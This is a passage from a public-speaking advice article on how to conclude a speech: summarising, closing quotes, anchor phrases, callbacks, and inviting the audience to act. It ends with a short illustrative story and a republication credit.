Make sure the purpose of your speech is reinforced and crystal clear in the ending. Think of this in terms of both content and style of delivery. If you say something inspiring your body language must mirror this – no awkward slouching but strong upright posture

  • Use delivery to emphasise importance

Be clear in articulating your key message. Harness your vocal variety, tone of voice, passion and enthusiasm – SAMENESS is the biggest enemy of the speaker; change energy, pace, etc. Difference indicates importance

  • Summarise using key questions

You might summarise in the tried-and-tested form of “Tell ‘em what you’re going to tell ‘em. Tell ‘em. Tell ‘em what you’ve told ‘em”. Consider using rhetorical questions based on your core premise to set up your summary of your key messages.   The key messages will be the answers to those questions

  • End with a powerful quote

Use a powerful and relevant quotation from an historic figure, business icon, etc. that resonates with your audience

  • A final strong statement

Make your final sentence the takeaway that encapsulates the overall theme, your main message and any call to action. Ensure it is a statement that underlines your authority and belief in your message.

Achieving memorability

As speakers, you want audiences to remember what you say, to share your pearls of wisdom and have a real impact on them:

  • Top speakers use anchor phrases to help them be memorable and repeatable or quotable. For Martin Luther King it was “I have a dream”. It’s a few words your audience will associate with you and your message. When your catchy, rhythmic phrase pops into their mind, the rest of your speech will be reactivated. It can contain the title of your speech or evolve during the speech, but it will help your audience remember your speech tomorrow and beyond. If your concluding remarks do not align with your anchor phrase, then they have no business in your conclusion, nor, indeed, in your speech!
  • Go further and cause conversation through controversy, humour, and/or great stories. Leave them thinking
  • Rhythm and repetition can both help to build memorability and impact, especially with an injection of appropriate humour
  • Bring the speech full circle by using ‘callbacks’ to your opening remarks or stories. By revisiting a story told earlier in your speech, you create memorability and provide the audience with triggers to recall your main message and serve as a powerful aide memoire
  • Use a relevant prop or image during your speech – one that will serve as a trigger. If you use it at the end of your speech your key message will be reinforced and will stick in people’s minds.

Building engagement and commitment

This is key to encouraging your audience to take action, particularly in any persuasive or inspirational speech:

  • When you speak, you lock into the ideas, information and beliefs that your audience members already have in their mind. And the conclusions are the reaffirmation of those thoughts and ideas. What’s in it for the listener and what you want them to do
  • Use personal stories and anecdotes to engage powerfully with your audience, while using a ‘callback’, to create familiarity and a warm connection with your listeners
  • Invite your audience to take up or consider any call to action you make. Tone of voice is crucial. If you want people to do something as a consequence of experiencing your speech, you need to persuade them and invite them in both your closing words and the manner of their delivery. Telling and instructing may break the connection you have created. Reconnect them with your stories and your central theme
  • Alternatively, take the words of an historic figure or other relevant person and invite the audience to do as they have done
  • Is your audience made up of people from the same organisation or do they share a common interest? Referencing a publication or a quotation that resonates with them will create a connection with you and your call to action
  • Show them your call to action as a solution to an issue, problem or challenge. Show them the benefits to them of embracing your call to action. Show them your commitment and enthusiasm.

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In conclusion

Once upon a time, there was a great speaker called Facunda who set her audience alight with riveting openings and challenging questions.

She skilfully elaborated ideas with supporting evidence and stories. Audiences hung on her every word.

And when it came to the conclusion, the audience was on its feet, cheering for more, queueing to be a part of the call to action, sharing Facunda’s stories and observations.

What a happy ending!

 

This article appeared in thought-leadership.top-consultant.com

Recently republished in lidradio.com

 

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